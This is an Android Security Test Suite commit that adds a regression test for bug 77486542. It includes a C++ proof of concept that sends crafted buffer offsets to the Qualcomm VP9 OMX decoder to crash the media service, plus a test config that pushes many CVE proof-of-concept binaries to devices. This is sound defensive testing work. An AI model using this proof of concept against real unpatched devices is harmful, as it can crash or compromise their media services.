DO NOT MERGE: STS test for Android Security b/77486542

Test: successful run of newly introduced STS test case.
Bug: 77486542
Change-Id: I1cc54dad83066354d07dce6b8a120e7acfe5fbe4
(cherry picked from commit df49ae4cbe071834decc821e00a47b63e4e47489)

4 files changed, 525 insertions, 0 deletions

diff --git a/tests/hostside/AndroidTest.xml b/tests/hostside/AndroidTest.xml
new file mode 100644
index 0000000..2482cc4
--- /dev/null
+++ b/tests/hostside/AndroidTest.xml
@@ -0,0 +1,223 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the STS Security host tests">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
+        <option name="push" value="CVE-2017-0404->/data/local/tmp/CVE-2017-0404" />
+        <option name="push" value="CVE-2016-8444->/data/local/tmp/CVE-2016-8444" />
+        <option name="push" value="CVE-2016-8448->/data/local/tmp/CVE-2016-8448" />
+        <option name="push" value="CVE-2016-8449->/data/local/tmp/CVE-2016-8449" />
+        <option name="push" value="CVE-2017-0403->/data/local/tmp/CVE-2017-0403" />
+        <option name="push" value="CVE-2017-0429->/data/local/tmp/CVE-2017-0429" />
+        <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
+        <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
+        <option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
+        <option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
+        <option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
+        <option name="push" value="CVE-2017-0580->/data/local/tmp/CVE-2017-0580" />
+        <option name="push" value="CVE-2017-0462->/data/local/tmp/CVE-2017-0462" />
+        <option name="push" value="CVE-2017-0579->/data/local/tmp/CVE-2017-0579" />
+        <option name="push" value="CVE-2017-0577->/data/local/tmp/CVE-2017-0577" />
+        <option name="push" value="CVE-2016-10231->/data/local/tmp/CVE-2016-10231" />
+        <option name="push" value="CVE-2017-7369->/data/local/tmp/CVE-2017-7369" />
+        <option name="push" value="CVE-2017-0576->/data/local/tmp/CVE-2017-0576" />
+        <option name="push" value="CVE-2017-0586->/data/local/tmp/CVE-2017-0586" />
+        <option name="push" value="CVE-2017-0705->/data/local/tmp/CVE-2017-0705" />
+        <option name="push" value="CVE-2017-8263->/data/local/tmp/CVE-2017-8263" />
+
+        <!-- Bulletin 2016-08 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2474->/data/local/tmp/CVE-2016-2474" />
+
+        <!--__________________-->
+        <!-- Bulletin 2016-09 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-3858->/data/local/tmp/CVE-2016-3858" />
+        <option name="push" value="CVE-2016-3869->/data/local/tmp/CVE-2016-3869" />
+
+        <!--__________________-->
+        <!-- Bulletin 2016-09 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-3867->/data/local/tmp/CVE-2016-3867" />
+
+        <!--__________________-->
+        <!-- Bulletin 2016-10 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-6673->/data/local/tmp/CVE-2016-6673" />
+        <option name="push" value="CVE-2015-8951->/data/local/tmp/CVE-2015-8951" />
+        <option name="push" value="CVE-2016-3935->/data/local/tmp/CVE-2016-3935" />
+        <option name="push" value="CVE-2016-3939->/data/local/tmp/CVE-2016-3939" />
+
+        <!--__________________-->
+        <!-- Bulletin 2016-11 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-6745->/data/local/tmp/CVE-2016-6745" />
+
+        <!--__________________-->
+        <!-- Bulletin 2016-12 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-6777->/data/local/tmp/CVE-2016-6777" />
+        <option name="push" value="CVE-2016-8403->/data/local/tmp/CVE-2016-8403" />
+        <option name="push" value="CVE-2016-8404->/data/local/tmp/CVE-2016-8404" />
+        <option name="push" value="CVE-2016-8401->/data/local/tmp/CVE-2016-8401" />
+        <option name="push" value="CVE-2016-6787->/data/local/tmp/CVE-2016-6787" />
+        <option name="push" value="CVE-2015-7872->/data/local/tmp/CVE-2015-7872" />
+        <option name="push" value="CVE-2016-3865->/data/local/tmp/CVE-2016-3865" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-01 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-8457->/data/local/tmp/CVE-2016-8457" />
+        <option name="push" value="CVE-2016-8456->/data/local/tmp/CVE-2016-8456" />
+        <option name="push" value="CVE-2016-8455->/data/local/tmp/CVE-2016-8455" />
+        <option name="push" value="CVE-2016-8475->/data/local/tmp/CVE-2016-8475" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-02 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0439->/data/local/tmp/CVE-2017-0439" />
+        <option name="push" value="CVE-2016-8420->/data/local/tmp/CVE-2016-8420" />
+        <option name="push" value="CVE-2016-8476->/data/local/tmp/CVE-2016-8476" />
+        <option name="push" value="CVE-2017-0441->/data/local/tmp/CVE-2017-0441" />
+        <option name="push" value="CVE-2017-0438->/data/local/tmp/CVE-2017-0438" />
+        <option name="push" value="CVE-2016-8481->/data/local/tmp/CVE-2016-8481" />
+        <option name="push" value="CVE-2017-0436->/data/local/tmp/CVE-2017-0436" />
+        <option name="push" value="CVE-2017-0445->/data/local/tmp/CVE-2017-0445" />
+        <option name="push" value="CVE-2017-0437->/data/local/tmp/CVE-2017-0437" />
+        <option name="push" value="CVE-2017-0447->/data/local/tmp/CVE-2017-0447" />
+        <option name="push" value="CVE-2017-0449->/data/local/tmp/CVE-2017-0449" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-03 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0459->/data/local/tmp/CVE-2017-0459" />
+        <option name="push" value="CVE-2017-0533->/data/local/tmp/CVE-2017-0533" />
+        <option name="push" value="CVE-2017-0531->/data/local/tmp/CVE-2017-0531" />
+        <option name="push" value="CVE-2016-8483->/data/local/tmp/CVE-2016-8483" />
+        <option name="push" value="CVE-2016-8413->/data/local/tmp/CVE-2016-8413" />
+        <option name="push" value="CVE-2017-0453->/data/local/tmp/CVE-2017-0453" />
+        <option name="push" value="CVE-2017-0463->/data/local/tmp/CVE-2017-0463" />
+        <option name="push" value="CVE-2017-0519->/data/local/tmp/CVE-2017-0519" />
+        <option name="push" value="CVE-2017-0520->/data/local/tmp/CVE-2017-0520" />
+        <option name="push" value="CVE-2017-0457->/data/local/tmp/CVE-2017-0457" />
+        <option name="push" value="CVE-2017-0460->/data/local/tmp/CVE-2017-0460" />
+        <option name="push" value="CVE-2017-0456->/data/local/tmp/CVE-2017-0456" />
+        <option name="push" value="CVE-2017-0521->/data/local/tmp/CVE-2017-0521" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-04 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0584->/data/local/tmp/CVE-2017-0584" />
+
+        <option name="push" value="Bug-32551280->/data/local/tmp/Bug-32551280" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-05 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-10284->/data/local/tmp/CVE-2016-10284" />
+        <option name="push" value="CVE-2017-0634->/data/local/tmp/CVE-2017-0634" />
+        <option name="push" value="CVE-2016-10283->/data/local/tmp/CVE-2016-10283" />
+        <option name="push" value="CVE-2017-0624->/data/local/tmp/CVE-2017-0624" />
+        <option name="push" value="CVE-2016-10288->/data/local/tmp/CVE-2016-10288" />
+        <option name="push" value="CVE-2016-10289->/data/local/tmp/CVE-2016-10289" />
+        <option name="push" value="CVE-2016-10290->/data/local/tmp/CVE-2016-10290" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-06 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="Bug-35047780->/data/local/tmp/Bug-35047780" />
+        <option name="push" value="Bug-35047217->/data/local/tmp/Bug-35047217" />
+        <option name="push" value="Bug-35048450->/data/local/tmp/Bug-35048450" />
+        <option name="push" value="Bug-35644815->/data/local/tmp/Bug-35644815" />
+        <option name="push" value="Bug-35216793->/data/local/tmp/Bug-35216793" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-07 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-0326->/data/local/tmp/CVE-2017-0326" />
+
+        <option name="push" value="Bug-33863407->/data/local/tmp/Bug-33863407" />
+        <option name="push" value="Bug-34173755->/data/local/tmp/Bug-34173755" />
+        <option name="push" value="Bug-35950388->/data/local/tmp/Bug-35950388" />
+        <option name="push" value="Bug-34624155->/data/local/tmp/Bug-34624155" />
+        <option name="push" value="Bug-33299365->/data/local/tmp/Bug-33299365" />
+        <option name="push" value="Bug-35950805->/data/local/tmp/Bug-35950805" />
+        <option name="push" value="Bug-35139833->/data/local/tmp/Bug-35139833" />
+        <option name="push" value="Bug-35468048->/data/local/tmp/Bug-35468048" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-08 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="Bug-36266767->/data/local/tmp/Bug-36266767" />
+        <option name="push" value="Bug-36591162->/data/local/tmp/Bug-36591162" />
+        <option name="push" value="CVE-2017-9678->/data/local/tmp/CVE-2017-9678" />
+        <option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
+        <option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
+        <option name="push" value="CVE-2017-9680->/data/local/tmp/CVE-2017-9680" />
+        <option name="push" value="Bug-36818198->/data/local/tmp/Bug-36818198" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-09 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="Bug-33039685->/data/local/tmp/Bug-33039685" />
+        <option name="push" value="Bug-35676417->/data/local/tmp/Bug-35676417" />
+        <option name="push" value="Bug-35644812->/data/local/tmp/Bug-35644812" />
+        <option name="push" value="Bug-36492827->/data/local/tmp/Bug-36492827" />
+        <option name="push" value="Bug-38340117->/data/local/tmp/Bug-38340117" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-10 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="Bug-37093119->/data/local/tmp/Bug-37093119" />
+        <option name="push" value="Bug-36817053->/data/local/tmp/Bug-36817053" />
+        <option name="push" value="Bug-36730104->/data/local/tmp/Bug-36730104" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-11 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2017-9690->/data/local/tmp/CVE-2017-9690" />
+
+        <option name="push" value="CVE-2017-6264->/data/local/tmp/CVE-2017-6264" />
+
+        <!--__________________-->
+        <!-- Bulletin 2018-05 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="Bug-70986337->/data/local/tmp/Bug-70986337" />
+
+        <!--__________________-->
+        <!-- Bulletin 2018-06 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="Bug-77486542->/data/local/tmp/Bug-77486542" />
+
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+
+        <option name="append-bitness" value="false" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="StsHostTestCases.jar" />
+        <option name="runtime-hint" value="44m32s" />
+    </test>
+</configuration>
diff --git a/tests/hostside/securityPatch/Bug-77486542/Android.mk b/tests/hostside/securityPatch/Bug-77486542/Android.mk
new file mode 100644
index 0000000..b9d28b8
--- /dev/null
+++ b/tests/hostside/securityPatch/Bug-77486542/Android.mk
@@ -0,0 +1,57 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-77486542
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := \
+    $(TOP)/frameworks/av/include/media/ \
+    $(TOP)/frameworks/native/include/media/openmax \
+    $(TOP)/frameworks/native/include/media/hardware \
+    $(TOP)/frameworks/av/media/libstagefright/omx \
+    $(TOP)/frameworks/av/media/libstagefright/
+
+LOCAL_SHARED_LIBRARIES := \
+    libstagefright \
+    libstagefright_omx \
+    libstagefright_foundation \
+    libhidlbase \
+    android.hidl.memory@1.0 \
+    android.hidl.token@1.0-utils \
+    android.hardware.media.omx@1.0 \
+    android.hardware.media@1.0\
+    android.hidl.allocator@1.0 \
+    android.hidl.memory@1.0 \
+    libhidlmemory \
+    libutils \
+    libmedia \
+    liblog \
+    libbinder\
+    libcrypto\
+    libcutils \
+    libui
+
+LOCAL_COMPATIBILITY_SUITE := sts
+LOCAL_CTS_TEST_PACKAGE := android.security.sts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/hostside/securityPatch/Bug-77486542/poc.cpp b/tests/hostside/securityPatch/Bug-77486542/poc.cpp
new file mode 100644
index 0000000..f14ca36
--- /dev/null
+++ b/tests/hostside/securityPatch/Bug-77486542/poc.cpp
@@ -0,0 +1,208 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#undef _GNU_SOURCE
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#include <android/hidl/allocator/1.0/IAllocator.h>
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/ProcessState.h>
+#include <hidlmemory/mapping.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/hardware/HardwareAPI.h>
+#include <media/stagefright/OMXClient.h>
+#include <media/stagefright/foundation/AString.h>
+#include "OMXUtils.h"
+
+using namespace android;
+using namespace ::android::hardware::media::omx::V1_0;
+
+typedef hidl::allocator::V1_0::IAllocator IAllocator;
+typedef hidl::memory::V1_0::IMemory IHidlMemory;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+struct DeathRecipient : public hardware::hidl_death_recipient {
+  DeathRecipient() : mDied(false) {}
+  bool mDied;
+  virtual void serviceDied(uint64_t,
+                           const wp<::android::hidl::base::V1_0::IBase> &) {
+    mDied = true;
+  }
+  bool died() const { return mDied; }
+};
+
+extern bool connectOMX_O(sp<IOMX> &omx) {
+  OMXClient client;
+  status_t err = client.connect();
+  if (err != OK) {
+    return false;
+  }
+  omx = client.interface();
+  if (omx.get() == NULL) {
+    return false;
+  }
+  return true;
+}
+
+void poc() {
+  sp<IOMX> service;
+  status_t err;
+  sp<IOMXNode> omxNode;
+  int fenceFd = -1;
+  const char *codecName = "OMX.qcom.video.decoder.vp9";
+
+  if (connectOMX_O(service) == false) {
+    return;
+  }
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+  AString name(codecName);
+  err = service->allocateNode(name.c_str(), observer, &omxNode);
+
+  if (err != OK || omxNode == NULL) {
+    return;
+  }
+
+  sp<DeathRecipient> deathRecipient = new DeathRecipient;
+  auto tOmxNode = omxNode->getHalInterface();
+  tOmxNode->linkToDeath(deathRecipient, 0);
+
+  omxNode->setPortMode(0, IOMX::PortMode::kPortModePresetSecureBuffer);
+
+  // Initiate transition Loaded->Idle
+  err = omxNode->sendCommand(OMX_CommandStateSet, OMX_StateIdle);
+
+  OMX_PARAM_PORTDEFINITIONTYPE def;
+  InitOMXParams(&def);
+  def.nPortIndex = 0;
+  OMX_INDEXTYPE omx_indextype = OMX_IndexParamPortDefinition;
+  err = omxNode->getParameter(omx_indextype, &def, sizeof(def));
+
+  int inMemSize = def.nBufferCountActual * def.nBufferSize;
+  int inBufferCnt = def.nBufferCountActual;
+  int inBufferSize = inMemSize / inBufferCnt;
+
+  InitOMXParams(&def);
+  def.nPortIndex = 1;
+  err = omxNode->getParameter(omx_indextype, &def, sizeof(def));
+
+  int outMemSize = def.nBufferCountActual * def.nBufferSize;
+  int outBufferCnt = def.nBufferCountActual;
+  int outBufferSize = outMemSize / outBufferCnt;
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+  sp<IAllocator> mAllocator;
+  mAllocator = IAllocator::getService("ashmem");
+  if (mAllocator == nullptr) {
+    return;
+  }
+  struct Buffer {
+    IOMX::buffer_id mID;
+    hidl_memory mHidlMemory;
+    uint32_t mFlags;
+  };
+
+  Vector<Buffer> inputBuffers;
+
+  for (int i = 0; i < inBufferCnt; ++i) {
+    Buffer buffer;
+    buffer.mFlags = 0;
+    {
+      bool success;
+      mAllocator->allocate(inBufferSize,
+                           [&success, &buffer](bool s, hidl_memory const &m) {
+                             success = s;
+                             buffer.mHidlMemory = m;
+                           });
+
+      sp<IHidlMemory> hidlMemory = mapMemory(buffer.mHidlMemory);
+      if (hidlMemory == nullptr) {
+        return;
+      }
+
+      for (int i = 0; i < inBufferSize / 4; i++) {
+        *(static_cast<int *>(static_cast<void *>(hidlMemory->getPointer())) +
+          i) = (int)0x1234567;
+      }
+
+      err =
+          omxNode->useBuffer(0 /*portIndex*/, buffer.mHidlMemory, &buffer.mID);
+      inputBuffers.push(buffer);
+    }
+  }
+
+  Vector<Buffer> outputBuffers;
+
+  for (int i = 0; i < outBufferCnt; ++i) {
+    Buffer buffer;
+    buffer.mFlags = 0;
+    {
+      bool success;
+      mAllocator->allocate(outBufferSize,
+                           [&success, &buffer](bool s, hidl_memory const &m) {
+                             success = s;
+                             buffer.mHidlMemory = m;
+                           });
+      err =
+          omxNode->useBuffer(1 /*portIndex*/, buffer.mHidlMemory, &buffer.mID);
+      outBufferId[i] = buffer.mID;
+      outputBuffers.push(buffer);
+    }
+  }
+
+  // Initiate transition Idle->Executing
+  err = omxNode->sendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+  sleep(1);
+
+  for (size_t i = 0; i < inputBuffers.size(); i++) {
+    OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
+    int64_t timeUs = 0x00010001;
+    OMXBuffer omxbuffer(inBufferSize / 2 - 8, inBufferSize / 2);
+    err = omxNode->emptyBuffer(inputBuffers[i].mID, omxbuffer, flags, timeUs,
+                               fenceFd);
+  }
+
+  for (size_t i = 0; i < outputBuffers.size(); i++) {
+    err = omxNode->fillBuffer(outputBuffers[i].mID, OMXBuffer::sPreset);
+  }
+
+  omxNode->freeNode();
+
+  if (deathRecipient->died()) {
+    printf("77486542\n");
+  }
+}
+
+int main() {
+#ifndef __LP64__
+  // 32-bit only.
+  poc();
+#endif
+}
diff --git a/tests/hostside/src/android/security/sts/Poc18_06.java b/tests/hostside/src/android/security/sts/Poc18_06.java
new file mode 100644
index 0000000..ab769b0
--- /dev/null
+++ b/tests/hostside/src/android/security/sts/Poc18_06.java
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.sts;
+
+import android.platform.test.annotations.RootPermissionTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_06 extends SecurityTestCase {
+
+    /**
+     * b/77486542
+     */
+    @RootPermissionTest
+    @Test
+    public void testPocBug_77486542() throws Exception {
+        enableAdbRoot(getDevice());
+        String output = AdbUtils.runPoc("Bug-77486542", getDevice(), 30);
+        assertNotMatches("[\\s\\n\\S]*77486542[\\s\\n\\S]*", output);
+    }
+}